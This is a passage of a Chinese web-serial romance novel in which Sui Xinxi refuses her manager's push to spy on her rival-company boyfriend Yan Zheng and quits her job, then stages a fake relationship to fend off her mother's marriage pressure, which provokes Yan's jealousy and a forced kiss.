管伟叹了口气,语气变得沉重,“现在这个情况,对你真的很不利。你在公司这么多年,积累的口碑和人缘,可能就因为这件事情毁了。大家会觉得你立场有问题。这种印象一旦形成,你想再干点成绩出来,可就难了。” 隋心喜没说话,她控制着自己的呼吸,让自己冷静。管伟绕这么大圈子,肯定有目的。 管伟看她沉默,以为自己的话起了作用,语气也放柔了些,“我呢,作为你的领导,也是看着你成长起来的,当然不愿意看到你辛苦打拼的事业受影响。所以,我觉得你得做点什么,来证明给大家看,隋心喜首先是富邦的人,和公司是一条心的。” 隋心喜摆出一副虚心好学的样子,“你希望我怎么做呢?” 管伟意味深长道:“其实也不难。现在的情况是,维恒抢了我们一个大单,但市场这么大,机会多得是。下一个季度,关于智慧城市安全大脑的项目招标,规模更大,含金量更高,这才是兵家必争之地,维恒肯定也会全力以赴。这个项目对公司极其重要,我们是志在必得。你在这个领域经验丰富,是核心骨干。” “现在大家都知道,你跟晏铮在谈恋爱。这个关系,在别人眼里是麻烦;但是,如果运用得当,这可以变成一张其他人无论如何也拿不到的王牌啊!” 话已至此,管伟今天叫隋心喜来的目的已经很明确了。 他不是要她证明清白,而是要她利用她和晏铮的关系,去当商业间谍。 隋心喜看着管伟那张精明算计的脸,忽然就想明白了,为什么晏铮宁愿让她误会他是个普通学生,也要瞒着自己就是维恒老板的事实。 他担心的就是今天这种境地。 他不想让她为难,不想她被架在公司和自己的感情中间,被逼着选边站。 所以他一直都在用自己的方式,说着善意的谎言来保护她。 这个迟来的认知,像一股强劲的暖流,冲垮了刚才的愤怒和委屈。 隋心喜深吸一口气,缓缓松开了紧握的拳头。 “管总,我再说一遍。关于昨天的招标,我没有,也绝不会做任何泄露公司机密、损害公司利益的事情,这是我的职业底线。至于外面的流言蜚语,我没做过,自然问心无愧。” 管伟的脸色沉下来,有着被打断计划的不悦,“这不是愧不愧的问题,现在……” 隋心喜打断了他的话,“你刚才说,希望我证明立场,堵住别人的嘴。我理解你的意思。” 管伟眼神微亮,以为她终于开窍了。 隋心喜却毫无笑意地扯了扯嘴角,直白地告诉他:“如果你是想利用我和晏铮的私人关系,去套取维恒的商业情报,或者试图从他手上抢夺资源,来‘将功补过’……对不起了,这种事,我不会做。过去不会,现在不会,将来也永远不会。”【`xs.c`o`m 网】 30-39 第31章 隋心喜拿着一杯咖啡,踏进办公室。 她昨晚睡得不太好,这会儿就想赶紧到自己工位,先灌杯咖啡醒醒神。 “功臣回来了!”不知道谁先喊了一嗓子,紧接着好几个人围上来,把隋心喜堵在门口那块。 隋心喜懵了,扯出个笑,想从人缝里挤出去,“干嘛啊你们?大清早的。” 王雪站在最前头,脸上笑得跟朵花似的,“你还装,我们都知道了!智慧城市那个‘安全大脑’的项目,咱公司拿下的,就昨天正式签的合同。” 隋心喜皱了眉头。 这项目她知道,是最近圈子里最热的大单子,几家巨头都在抢。富邦确实也在投标,但她记得前期评估时,自家公司的方案差点意思,胜算不高。 现在富邦能拿下当然是好事,但怎么就跟自己扯上关系了? 她有点不安,试图解释:“我就负责我们组原来的活,这项目一点力都没出。” “哎呀,你就别谦虚了!”王雪挤眉弄眼地撞了她胳膊一下,“谁不知道你……嘿嘿……反正项目成了,钱到手了,管它那么多。听说奖金顶一个季度工资呢!” 王雪那意味深长的笑声,还有周围同事投过来的羡慕目光,像一根根细针,扎得隋心喜浑身不自在。 她脑子里忽然闪过一个月前管伟找她谈话的情景。 就在这时,身后有人带头鼓起了掌。 隋心喜循声望去,只见管伟脸上挂着领导视察工作时的标准笑容,一边拍手一边看着被围在中间的她。 他提高了嗓门,声音盖过了周围的嗡嗡议论,“这个项目能顺利拿下,离不开我们团队每个人的努力,尤其是隋心喜在其中发挥了关键作用,大家给点鼓励!” 有管伟带头,办公室里的掌声立刻热烈起来,还有人大声叫好。 全部人的目光都聚焦在隋心喜身上,聚光灯似的,烤得她脸皮发烫。 但是,她很快想明白了管伟的小动作,满脸尴尬渐渐被愤怒所取代。 她拨开那些围在身边的人,大步流星走到管伟面前,“管总,借一步说话。” 说着,她没等管伟回答,直接就朝他的办公室走去。 周围顿时鸦雀无声,管伟的笑容也僵住了,大概没料到隋心喜会是这种反应。 他面子上有点挂不住,只得掩饰性地咳了一声,朝周围摆摆手:“散了散了,都干活去。” —————————— 管伟绕过桌子,在自己的老板椅上坐下,试图恢复领导的从容。 他清了清嗓子,“心喜啊,刚才外面是有点太吵了。不过项目拿下是大事,大家高兴一下也正常嘛。你这次……” 隋心喜站在办公桌前,直接打断了他的客套话,“管总,请你和我说实话,富邦是怎么样拿下智慧城市安全大脑的项目的?” 管伟支吾了一下,“当然是靠我们团队的实力。” “实力?一个月前,你可不是这么跟我说的”,隋心喜眼神锐利得像要把他刺穿,“你说,我男朋友是对头公司的老板,大家都觉得是我泄露了机密导致上次竞标失败。你还说,我要做点事情扭转口碑。” 她渐渐激动起来,“我已经很明确的告诉过你,我不会从晏铮那里抢任何东西!结果呢?你还是利用我去向他施压了,是不是?” 管伟被她如此直白地一问,表情也失去了管理。 他舔了舔发干的嘴唇,“心喜,你这话说的太严重了。商场上嘛,资源互换,各取所需,很正常。” “所以你是承认了?”隋心喜步步逼问,声音冷得像冰,“你拿了什么去找晏铮?你是不是暗示他,如果不合作,我在富邦就待不下去了?” 管伟还想打太极,“我这边就是跟维恒沟通了一下,表达了我们合作的诚意,也提到了你作为两家公司之间的纽带。” 隋心喜都被气笑了,“你管这叫纽带?你这是把我当筹码,当人质!管伟你真行啊,为了抢项目,这种手段都用上了!” 管伟的脸一阵红一阵白,被下属指着鼻子骂让他恼羞成怒,声音也硬了起来:“隋心喜,注意你的态度,我是你的上级!项目拿下来对公司是好事,对大家都有利!奖金你不想要?再说了,维恒那边既然愿意让步,说明他也认可合作方案。人家做事大气,你也别太玻璃心!” 隋心喜和晏铮同一屋檐下,大家一向都很有默契地不谈工作。 但她知道,安全大脑这个项目,前景极好,晏铮也是精心筹备了很久的。 有好几次她半夜起来上厕所,甚至还听到了晏铮在聊工作的电话。 可现在,就因为这个混蛋管伟利用了她的处境,晏铮就把大肥肉让给了富邦? 这个傻子!笨蛋! 酸涩和心疼压过了愤怒,冲得隋心喜眼眶发热。 她抹了把眼角,问管伟最后一个问题,“在你眼里,是不是只要能达到目的,员工的尊严、感受,甚至基本的人与人之间的信任,都可以拿来交易?” 管伟强撑着:“成年人的世界就是这样!资源整合,互相成就,这就是现实。” 隋心喜看着这张虚伪又充满了爹味的脸,只觉得再多待一秒钟都是煎熬。 她摇摇头,“行吧,我不适合你那套职场厚黑学。所以我现在,正式提出离职!” “你疯了?”管伟眼珠子都快瞪出来了,完全不能理解。 隋心喜居然为了这点“小事”,为了那个刚创业的小男朋友,就要放弃这份打拼多年的事业? 他以为她顶多发发脾气,抱怨几句,这事就算过去了。哪想到她居然要走? 隋心喜倒是平静下来了,“我没疯,我很清楚我在做什么。我不能因为我,让晏铮为难。我更不想待在一个,把员工当成交易筹码、还觉得理所当然的地方。这份工作,不值得让我和晏铮任何一个人再受委屈。” 管伟见她来真的,也急了。 他站起来,绕过桌子想拦住她,“隋心喜,你冷静点,想想你的履历,想想你在这个位置积累了多少!你为了私人感情影响事业,不觉得可惜吗?而且现在就业形势严峻,你离开了富邦,外面风大雨大,何必呢?” 隋心喜后退一步,避开了他伸过来的手,“在你眼里,可能只有利益得失才叫理智。但在我这儿,有些东西,比钱重要得多。” “你放心,该交接的工作,我都会交接清楚”,隋心喜对着管伟鞠了一躬,“谢谢你这几年的照顾。如果没什么别的事,我出去打辞职信了。” —————————— 所谓“好事不出门,坏事传千里”,短短一天的时间,隋心喜手撕管伟并且愤而辞职的小道消息,就在写字楼里不胫而走。 晏铮得知这个消息是傍晚,他没有心情再加班,火急火燎地就往家里赶。 到家的时候,他一眼就看到了茶几上的大箱子,里面除了马克杯,还有几本文件夹。 他用力咬了下唇,哑声道:“姐,这怎么回事?” 隋心喜坐在茶几前的地毯上,收拾着东西,“就你看到的那样。” 晏铮在她身边蹲下来,满脸自责:“是因为我对吗?我上次自作主张,让了那个标。” 隋心喜叹了口气,轻轻拍了拍他的胳膊,“就算你没让,但是你在维恒,我在富邦,两家公司针尖对麦芒的,以后就不会碰上这种左右为难的事?” 晏铮心疼地看着她,欲言又止。 隋心喜笑了笑,试图让气氛不那么沉重,“我不是总抱怨没有假期吗,春节都要提早结束回来加班。现在好了,终于可以歇一阵子,回去陪陪爸妈。还有这份工作,我从毕业干到现在,早就没了新鲜感,颈椎腰椎还没一处好的。我明天就可以睡懒觉了,还能养养身体。” 她絮絮叨叨地说着各种“好处”,可晏铮太了解她了。 多年的心血,被她用一个箱子装回来。 轻松的话,全是强撑。 一股无法按捺的冲动涌上心头,晏铮伸出手臂,环住了隋心喜。 他闭了闭眼睛,声音在她耳边响起,“你再给我点时间,我会更努力工作。用不了多久,真的。” 隋心喜明白晏铮的意思。 他想尽快强大起来,强大到足以在任何人、任何事面前,都能把她护在身后,不让她受一点委屈,不用再面对今天这种被迫选择和放弃的难堪。 她感受着晏铮怀抱的温度,心脏疯狂地跳动着。 好一会儿,她总算理智艰难地挣脱了令人眩晕的亲密氛围。 她一字一句地告诉晏铮:“就算没有我,你都得有自己的事业。维恒是你打拼出来的,你得为自己负责,明白吗?” 晏铮眼底灼热的光亮晃了一下,几乎就要脱口而出“我做的一切都是为了你”。 可是,他看到了隋心喜眼中的认真,还是刹住了车。 他不能让她觉得,他是个只会围着感情转、没有自我的“恋爱脑”。 他用力地点点头,听话地应了一声。 第32章 隋心喜拖着行李箱,推开了老家的门。 她满足地吸了一口熟悉的饭菜香味,喊了一句,“妈,我回来了。” 庞夏蕊掀开厨房门帘,探出头来。她在围裙上抹了抹手,眼神扫过地上的行李箱,疑惑道:“你不是说放假回来小住几天吗,怎么带了这么多东西回来?” 隋心喜换了拖鞋往里走,“先不说这个,饿死我了,有什么吃的先垫一口?” 庞夏蕊没让她糊弄过去,跟在她后面进了房间,“问你呢,箱子怎么回事?看着跟搬回来常住似的。你工作呢,怎么忽然间放假?” 隋心喜心里叹了口气,知道躲不过,老实交代:“我辞职了。” “啥?”庞夏蕊声音高了几度,“隋心喜你开什么玩笑?你在富邦干了多久才升组长,现在说辞就辞了?” 她急得在客厅里转了个圈,“为什么啊?是不是受什么委屈了,还是那个管伟又给你穿小鞋了?” 隋心喜放下行李箱,自顾自地坐在床上,“就是累了。想歇歇。换个环境。” “谁工作不累?你都快三十了隋心喜,不是刚毕业的小姑娘想一出是一出!”庞夏蕊的火气蹭蹭往上冒,“你知不知道现在找个好工作多难?你这岁数,过多几年都要到被‘优化’的阶段了,你是不是傻?” 隋心喜默不作声,视线只停留在脚尖上。 庞夏蕊发泄了一通,又把怒火蔓延到另一件事,“我听人说,你在江市那边交了男朋友?什么时候的事儿,我怎么一点不知道?你现在辞职辞得这么痛快,是不是因为他?” 隋心喜心里咯噔一下。完了,当初晏铮在公司说她是女朋友,同事们可都当真了,也不知道怎么就传到了庞夏蕊的耳中。 她支支吾吾道:“假的……晏铮帮我挡麻烦才那么说的。” 庞夏蕊脸上那点因为“女儿可能有男朋友”而升起的光亮,一下全灭了,只剩下阴沉沉的乌云,“你让晏铮假扮你男朋友?” 隋心喜硬着头皮说是,“就一次,应急的。” 庞夏蕊气得胸口都在起伏,“隋心喜啊!你妈我跟你爸,还有你那些七大姑八大姨,催你找对象催了多少年?嘴皮子都磨破了,你倒好,不正正经经谈恋爱,怎么还玩这种过家家的把戏,你当你是幼儿园小朋友呢?” 1 “你每年回来都答应得好好的,说尽快找,尽快找!结果现在辞了工作,还弄个假男友,你是想气死我是不是?” 隋心喜被这劈头盖脸的一顿骂弄得心烦意乱,只想快点结束这场拷问。 她推脱着,“我知道了知道了!别说了行不行?我这不是还没遇上合适的吗?我答应你,我找,我认真找!行了吧?” “光嘴上答应有什么用?你倒是拿出实际行动来啊!”庞夏蕊不依不饶,“你看看你那些同学,孩子都上幼儿园了!你再看看你,三十岁的人了,工作工作辞了,对象对象没有!你想干嘛啊?想当老姑娘在家啃老吗?” “听到了听到了!”隋心喜赶紧打断母亲可能更激烈的言辞,烦躁地揉了揉太阳穴,“我要收拾东西了,你赶紧去做饭,饭好了叫我。” 房门终于关上,隋心喜背靠着门板,还能隐约听到母亲在客厅里气呼呼地发语音,大概是在跟父亲或者哪个阿姨吐槽她。 她重重地叹了口气。没想到辞职的轻松感还没享受两天,就被这更猛烈的催婚风暴给淹没了。 正烦着呢,手机响了。是王贤。 她有气无力地接起来,“喂?” 王贤调侃道:“到家了吧?怎么样,你妈没把你吃了?” 隋心喜躺在床上,开始对着电话大倒苦水,“刚进门就因为辞职的事被批斗了一顿。后面我妈得知我找晏铮假扮男友的事情,更是直接原地爆炸,一顿疯狂输出催婚,勒令今年必须带个真的回来。她说得女人过了二十五就自动贬值,到了三十就该打包处理了似的,我现在一个头两个大!” 王贤很是同情,“说到催婚,我刚也经历了地狱模式。我妈那架势,恨不得明天就给我塞进洞房,说什么‘你再不找,好的都让人挑光了’,或者问我是不是有什么暗病。烦得我想立刻买张机票再飞出去!” 电话那头沉默了两秒,王贤突然笑了起来,“喂,心喜,你说咱俩都这么惨,要不互相拯救一下?” 隋心喜没反应过来,“怎么拯救?” “我这不是被家里催着带女朋友回去吗?你刚好被催着带男朋友。咱俩这关系,知根知底。我现在来帮你糊弄你妈,等过年那会儿,你再来我家扮女朋友。完美计划,各取所需,共渡难关!” 隋心喜的眼睛一下子亮了。她怎么就没想到王贤呢? 他人帅嘴甜会来事,在长辈面前特别吃得开;两人关系够铁,互相都了解,配合起来肯定天衣无缝;而且他还是gay蜜,不用担心假戏真做。 “你真是天才!”隋心喜的烦闷一扫而空,声音都雀跃起来,“就这么定了,你抓紧时间来找我。” 王贤也乐了,“那你提前铺垫一下啊,就说咱俩老同学重逢,擦出了火花。反正我们读书时,他们就觉得有苗头。” 隋心喜一口答应,两人又嘻嘻哈哈聊了好一会,才挂了电话。 —————————— 晏铮刚在维恒科技结束一个冗长的会议。 他看着落地窗外城市的璀璨灯火,想起一千公里外的百泉市。 劳累的时候,他想听到隋心喜的声音,想知道她在家做什么,更想知道,她有没有想他。 他拨了电话,听筒里传来规律的等待声,最后自动挂断。他又打了几次,还是没人接。 他盯着暗下去的手机屏幕,好看的眉头拧了起来。 这个时间,隋心喜是在吃饭?还是跟她爸妈聊天?或者手机没放身边? 他眼神闪了闪,想到了隋心喜的父亲隋涛原。他身体一直有点小毛病,是个很好的切入点。 他指尖在通讯录里滑动,很快拨给了“隋叔”。 电话响了几声就被接起,隋涛原笑了声:“喂,小铮啊?” “隋叔,是我。您吃饭了吗,最近身体怎么样?头还晕不晕,血压还稳定吗?” “吃了吃了,刚放下碗。身体还是老样子,就是腿脚有点不利索,你庞姨天天念叨让我多走走。” 晏铮顺着话头带过去,“那是得听庞姨的,适当活动活动好。姐到家好几天了吧?她最近工作挺累的,心情可能也不太好。您让她在家多陪您散散步,正好她也能放松。” 电话那头静了静,隋涛原有点无奈又有点高兴:“她啊……陪我是没什么指望喽!” 晏铮心里一紧,“嗯?怎么了,她刚到家就忙?” “是忙,忙着谈恋爱呢。你是不知道,你心喜姐跟王贤那小子好上啦,俩人天天出去,吃饭看电影逛街,热乎着呢!我们这些老家伙,得识趣点,别打扰年轻人。” 顿时,晏铮脸上的笑意僵住了,喉咙也发干,“什么时候的事?我没听她提过。” 隋涛原却心情不错,话也多起来,“他们俩是老同学了,读书那会就有点意思,你不是也见过王贤来找她吗?后来他出国,这事就黄了,现在回来发展,又干柴烈火地续上了!” “王贤那孩子,前两天还来家里吃饭,把你庞姨哄得可高兴了。小伙子看着稳重,我们都觉得挺好,心喜也不小了,是该早点定下来。小铮啊,你跟你姐关系好,有空也帮我们劝劝她,这遇到合适的,就赶紧把事儿办了吧!” 晏铮眉头皱得更紧了,他用尽所有自制力才没让声音发抖,“这样啊……好的,隋叔,我知道了。您注意身体,我这边还有点事,先挂了。” 晏铮匆匆按断了电话。手机被他攥得死紧,手背上青筋都凸了起来。办公室里安静一片,只有他粗重的呼吸声。 隋心喜是告诉过他,王贤喜欢男人,但万一他是双性恋呢? 隋心喜对他,一直很特别,那是除自己之外,她最信任最亲密的异性朋友。 现在隋家父母又对他这么满意,甚至把结婚都要提上日程了…… 晏铮觉得自己不能再坐以待毙了,他迅速点开购票APP,买票回百泉。 —————————— 影院的大灯亮了,隋心喜揉了揉有点发酸的眼睛,跟着人流往外挪。 旁边的王贤凑近点,“这都快十二点了,你爸妈不会唠叨你怎么跟我混的这么晚?” 隋心喜没好气道:“唠叨啥?他们现在看你比看我这个亲闺女还顺眼。巴不得我晚上别回去,最好直接跟你生米煮成熟饭,他们好早点抱外孙。” 王贤嘿嘿笑了两声,对这种“准女婿”待遇很受用。 隋心喜掏出手机,关掉静音,除了看到晏铮的几个未接来电,还有一条信息,【姐,我明天回百泉。】 隋心喜忍不住尖叫出声,“王贤,晏铮怎么突然要回来?” 王贤凑过来瞄她的手机屏幕,“这不正好吗,你难道不想你家小狼狗?但是你为什么一副被捉奸在床的样子?” “什么捉奸在床!”隋心喜瞪他,“他要是回来,看到你天天在我面前晃悠,看到我妈那副恨不得明天就让我们领证的样子,指不定怎么想呢。” 她缓了缓,小声道:“要不你最近先别去我家了,避避风头。” 王贤夸张地做出一个受伤的表情,“不是吧隋心喜?我正演你男朋友演得正起劲,帮你挡枪挡得这么敬业,你说消失就让我消失?过河拆桥也没你这么快的!” “我不是那意思……” “你就是那意思!”王贤打断她,随即又换上玩世不恭的笑脸,“哎,你傻不傻?这多好的机会啊!” “机会?”隋心喜不知道他又想出了什么鬼主意。 王贤啧啧两声,“你俩这磨磨唧唧的,我这个旁观者看着都着急上火。现在正好,让他亲眼看看危机,他一急,说不定就忍不住了,该说的话说了,该干的事干了。这叫置之死地而后生!” 隋心喜对上次酒吧的失败计划还心有余悸,“你要刺激晏铮?行不行的啊?他那个人表面不显,心里指不定怎么记恨,万一玩脱了……” “哎呀,你怕什么,有我呢!”王贤拍着胸脯,“再说了,我是你gay蜜,晏铮再不爽,还能吃了我?顶多给我几个眼刀子。为了姐妹你的终身幸福,我豁出去了!听我的,让他看,让他急。” 隋心喜看着他一脸“为朋友两肋插刀”的豪情,心里直打鼓。但眼下,似乎也没更好的办法了。 她点点头,“那行吧,明天你准时到位,见机行事啊。” 第33章 百泉市秋天的风带着凉意,吹在晏铮脸上,却吹不散心头的烦闷。 他站在熟悉的居民楼下,仰头望向五楼亮着暖黄色灯光的阳台,那儿有两个靠得很近的身影。 王贤正侧对着楼下,一只手随意地搭在阳台栏杆上,另一只手正亲昵地环在隋心喜的腰间。 他半拥着隋心喜,头凑近她耳边,不知道在说什么,脸上带着轻松愉快的笑容。 隋心喜背对着楼下,看不到表情,但她的身体姿态没有丝毫抗拒,像是在认真听王贤说话。 那画面,在傍晚的光线下,构成了一幅温馨到刺眼的情侣私语图。 晏铮只感觉脑子里那根名为理智的弦,一下子断开了。 他几步跑进单元楼,脚步声急促地像是要把楼梯踏穿。 他一口作气冲到隋心喜家门口,正要拍门,庞夏蕊却从里面走出。 她手中提着个垃圾袋,很是意外:“小铮,你怎么也回来了?也不提前说一声,快……” 她的话戛然而止,因为她看清了晏铮此刻的样子。 小伙子脸色铁青,嘴唇抿得死紧,那双平时在她面前总是带着温和笑意的眼睛,此刻黑沉沉地涌着戾气。 他的视线越过她,落在阳台的方向。 庞夏蕊立刻明白了这滔天怒气的来源。 她往前一步,看似热情实则挡在了门口,截断了晏铮的视线。 她露出一个属于长辈的慈爱笑容,“看你这孩子,跑这一头汗,累坏了吧?工作那么忙还惦记着回来看我们,真是有心了!” 她一边说,一边去拉晏铮紧握成拳的手,想把他带离门口,“你隋叔刚还念叨你呢。你先回家里把行李放下,洗把脸,歇口气。” 晏铮的身体僵着,根本没动,眼神锐利得几乎要剥开她笑容的伪装。 庞夏蕊愣了愣,随即脸上笑容更盛,像是要盖过什么:“哎呀,你这孩子,愣着干嘛?听话,等会儿饭好了,阿姨叫你,今天正好,王贤也在家吃饭呢。” “王贤今天还陪我去超市买菜,晚饭的菜单都是听他安排的。心喜粗枝大叶,生活没点常识,现在能找到一个这样细心的男朋友,我们老两口可算是放心了,你待会也来看看你‘未来姐夫’啊。” 晏铮听出来了,这哪里是普通的家常话,分明是在划清界限、宣告立场,也是在用一种最温和的方式告诉他: 晏铮,这里没你的位置;王贤,才是隋家认可的未来女婿。 妒忌和委屈,几乎要将晏铮吞噬。他想不管不顾地冲进去,想质问阳台上的那个人。 但他不能。 他看到了庞阿姨眼中那不容商量的坚决,如果他此刻发作,最难做的,只会是夹在中间的隋心喜。 他不想让她为难,一次都不想。 他闭了闭眼睛,拼命吞下所有情绪,然后极其艰难地笑了一下,“行,我等下过来。” —————————— 一个小时后,隋心喜家摆好了饭桌,晏铮也过来了。 庞夏蕊对着王贤很是热情,筷子不停往他碗里招呼,“小贤,快尝尝这个红烧排骨,今天我两一起买的。” “谢谢阿姨!”王贤咬了一大口排骨,嚼得吧唧响,“真香啊,阿姨您这手艺绝了,五星级大厨都比不上!” 他咽下去,也夹了一块鸡肉到隋心喜碗里,“你最爱的鸡胸肉。” 隋心喜正扒拉米饭,碗里突然多出块肉。 她一抬头,正好撞上斜对面晏铮看过来的眼神。 隋心喜心里咯噔一下,赶紧想把鸡肉夹回去:“不用不用,你自己吃……” “啧,跟我还见外?”王贤一把按住她的筷子,还在她手背拍了两下,“阿姨做的菜那么好吃,你得多吃点。” 庞夏蕊看在眼里,乐得合不拢嘴:“小贤多会心疼人,心喜你学着点,别一天到晚大大咧咧的。” 隋心喜浑身不自在,感觉晏铮那边的空气都快冻住了。她只能硬着头皮,把那块鸡肉塞嘴里,嚼得没滋没味。 就在这时,晏铮伸长胳膊,把那盘油汪汪的鱼头端起来,放到王贤面前,“哥,尝尝这个,阿姨的拿手菜,够劲。” 王贤看着眼前一片刺眼的红辣椒,笑容有点僵。他吃不了辣。 “怎么不吃?”晏铮故意夹了块沾满辣椒的鱼肉到王贤碗里,又道:“对了,我有一朋友,和你一样,都在国外待了几年。” 隋心喜心里一紧,警惕地看向晏铮。 晏铮眼皮都没抬,继续说:“他在国外找了个男朋友,后面被那老外给踹了,人财两空。我这朋友哭天抹泪的,屁滚尿流就回来了,现在还窝家里缓着呢。” 他顿了顿,终于瞥了下王贤,“哥,你说这人,漂洋过海折腾一圈,最后哭爹喊娘回来,就不能做个正常人?” 在一旁的庞夏蕊听得嘴巴都大了:“啧啧啧,现在这些小年轻,真是什么花样都敢玩,我听说那些乱搞男男关系的,最容易得病。过日子,就得像小贤这样知冷知热的才靠得住。” 她说着,又给王贤夹了一大筷子爆炒牛肉,眼神里全是满意。 王贤却少见地没有接话。他想起那些伤心事,脸色又红又白。 桌子底下,隋心喜找准晏铮的小腿,一脚踹过去。 晏铮被踹得身子一歪,碗差点碰翻。他抬眼看向隋心喜,她正瞪着他。 晏铮对上那冒火的眼睛,喉结动了动,到底没再吭声。 这顿饭吃得隋心喜后背冒汗,总算结束了。 饭后,王贤很主动地帮庞夏蕊收拾桌子,“阿姨您坐着歇会,您都忙活半天了,这些杂活我来就好。” 庞夏蕊看着他三两下把垃圾归拢好,笑得见牙不见眼:“小贤真是太懂事,辛苦你了啊!” “应该的”,王贤拎起垃圾袋,冲隋心喜飞快地眨了下眼,开门下楼了。 晏铮也站起身:“阿姨,我吃好了,先回去了,明天再来看你。” “哎,好,小铮你去吧”,庞夏蕊应着,目光还追着王贤的背影。 晏铮点点头,转身出门。但他没回自己家,脚步声直接往下追。 —————————— 王贤丢了垃圾,正在水池前洗手,听到有人喊他名字。 他回头,看到晏铮果然跟来了。他挑了下眉,“有事?” 晏铮没废话,往前一步,声音带着寒气:“我警告你,离隋心喜远点。” 王贤慢条斯理地甩了甩手上的水珠,嗤笑一声:“凭什么?就因为我喜欢男的?” “晏铮,别装了,你那点心思,我都知道。可惜啊,我跟隋心喜认识多少年了,交情不比你浅”,他故意拉长调子,得意洋洋:“是啊,我现在是为了给她挡催婚,才来扮情侣,但你怎么知道,假着假着不能成真?你今天也看见了,她爸妈多喜欢我,这一关,我闭着眼都能过。我跟她在一起,比你靠谱多了。” 晏铮的眼神变得像要杀人,拳头捏得咯咯响。 王贤看他这样,反而更来劲了。 他也上前一步,挑衅道:“不信?那咱俩打个赌,看我两都挂彩,她第一个冲过来关心谁。” 晏铮不以为然,“无聊。” “怕了?”王贤话音没落,突然抡起拳头就朝晏铮脸上砸过来。 王贤的速度很快,但晏铮的反应更快。他猛地一偏头,王贤的拳头擦着他颧骨飞过去。 这下子,王贤整个人收不住往前扑,拳头结结实实砸在了粗糙的水泥墙壁上。 “操!”王贤疼得倒抽一口冷气,龇牙咧嘴地弯下腰,右手肉眼可见地红肿起来。 这时,隋心喜也追了过来。她看到王贤一脸痛苦,晏铮站在他对面,脸色阴沉得吓人。 她急急问道:“怎么了?” 王贤立刻抬头,飞快地朝她使了个眼色。 隋心喜心领神会。她强迫自己没看晏铮,快步上前拉过王贤的手,“你手怎么伤的,疼得厉害吗?我和你去医院吧。” 晏铮看着隋心喜将所有的注意力都放在王贤身上,那副心疼的样子像针一样扎进他眼里。 妒忌的火焰冲上头顶,烧得他理智全无。他只想让她的眼睛只看他一个人。 “砰——!” 一声听着就肉疼的闷响,在夜晚的小区响起。 隋心喜和王贤同时被这声音惊得转头。 只见晏铮的右拳还死死抵在墙上,指关节处皮开肉绽,鲜红的血丝正洇出来,在昏暗的光线下格外刺眼。 隋心喜的心被那只血糊糊的拳头攥住了,疼得呼吸一窒。她下意识就想冲过去。 王贤却攥紧了她的胳膊。他太明白晏铮了,这小子在玩自残博关注。 隋心喜也知道王贤的意思。他在逼晏铮主动开口和她说心底话,而不是用这种病态的方式。 可是,隋心喜看着晏铮,看着他流血的手,看着他眼中湿漉漉的期盼,莫名就想到了一只被雨淋透、等着主人抱回家的小狗。 她从小到大都扛不住这眼神。 又气又急又心疼的情绪在她胸腔里炸开,什么计划都被她抛诸脑后了。 她甩开王贤的手,几步就冲到晏铮面前,“你发什么疯?” 晏铮依旧沉默,只是眼里的委屈更浓了。 “你跟我上楼!”隋心喜吼了一声,拽着他的胳膊就往单元楼里拖。 楼下,王贤听着远去的脚步声,甩了甩自己生疼的手,咧了咧嘴。 这小子,对自己下手是真狠啊……不过,效果应该还可以? 第34章 隋心喜从晏铮手里拿过钥匙,咔哒一声,门开了。 一股子没人住的灰尘味,混着潮湿的霉气扑面而来。 隋心喜熟门熟路地摸到墙上的开关,白炽灯光一下子铺满了整个屋子。 客厅里的家具都蒙着白布,显得冷冷清清。 这地方,自从晏铮去外地上大学,就基本空着了。 隋心喜心里有点不是滋味,以前读书时她可没少往这儿跑。 “药箱还在老地方吧?我记得在电视柜下面”,隋心喜说着就往那边走。 晏铮却不由分说地拉住她,直接问:“你真跟王贤在一起了?” 隋心喜对上晏铮那张委屈巴巴的脸,就想说没有。可话到嘴边,又想起王贤的提醒。 她深吸一口气,僵硬地扯了扯嘴角,“王贤人是不错,对我也挺上心,我妈我爸很喜欢他。” 她顿了顿,眼瞅着晏铮的脸色一点点沉下去,把心一横,把王贤教的最后一句也甩出来:“其实我从读书时候起,对他就有点意思,可惜他喜欢男的,所以我一直在想,能不能弯的掰直。” 话一出口,晏铮的眼神瞬间变了。刚才那点强装出来的可怜消失得无影无踪,取而代之的是带着强烈攻击性的阴沉,就像被逼到悬崖边的野兽。 “有点意思?”晏铮往前走了一步。他人高,阴影一下子罩下来,“隋心喜,那我呢?我算什么?” “你是我弟弟啊”,隋心喜被这十足的压迫感逼得后退,后背差点撞到沙发扶手上。 晏铮的声音陡然拔高,带着被彻底点燃的怒火:“我从小就在你身边,十几年了,你摸着良心说,我对你不好吗?为什么啊?为什么你宁愿选一个基佬,也从来没考虑过我?为什么在你心里,在你爸妈心里,我晏铮就永远只配当你弟弟?” 他的质问像连珠炮一样砸过来,眼神又凶又烫,还掺杂着深不见底的受伤。 隋心喜没见过他这样失控的样子,有点被吼懵了。她试图解释,想说她心里的那个人…… 可是,她的话根本没机会出口。 因为晏铮忽然俯下身,一手箍住她的腰,一手扣住后脑勺,狠狠地吻了上去。 这个吻又粗暴又急切,充满了发泄和占有。 隋心喜的嘴唇被磕得生疼,一丝血腥味在口腔中四散开来。她整个人被固定着动弹不得,这不是她想象中任何关于亲吻的样子。 直到她感觉肺里的空气都快耗尽了,晏铮才松开了她。 她捂着嘴,惊魂未定地看着他,嘴唇上火辣辣的。 晏铮也看着她,胸口剧烈起伏着,眼里的疯狂还没完全褪去,又涌现出更多的懊悔。 “对不起……姐……对不起……我……我疯了……”他语无伦次,像个做错事怕挨揍的小孩,“你放心,我以后……以后不会乱来了……我会好好当你的弟弟,只当弟弟……” 他说完,猛地转过身,背对着她。他的肩膀还不断起伏着,这是在压抑情绪的最好证明。 隋心喜看着晏铮这副万念俱灰的样子,第一反应就是完蛋了,王贤的馊主意把他刺激过头了。 她急得想哭,要去拉他,背后却传来母亲不悦的喊声:“隋心喜!” 隋心喜吓得浑身一激灵,转头见自家大门不知道什么时候开了。 庞夏蕊就站在门口,一张脸拉得老长,眼神刀子似的在她和晏铮之间刮来刮去。 显然,刚才晏铮失控的动静,包括那个吻,都被妈妈看见了。 庞夏蕊的目光最终落在隋心喜身上,语气严厉:“晏铮今天才刚回来要休息,你跑这儿来干什么,还不赶紧回家?” 这话是对着女儿说的,但话里对晏铮的不满,却凝成了实质。 隋心喜瞬间蔫了。她再着急上火,也不敢当着庞夏蕊的面跟晏铮再拉扯什么。 “知道了妈,我这就回去”,隋心喜低声应着,又飞快地瞥了晏铮一眼,只看到他绷得死紧的肩线。 庞夏蕊不耐烦地“啧”了一声,像是在催她。 隋心喜没法子,只能一步三挪地回了自己家。 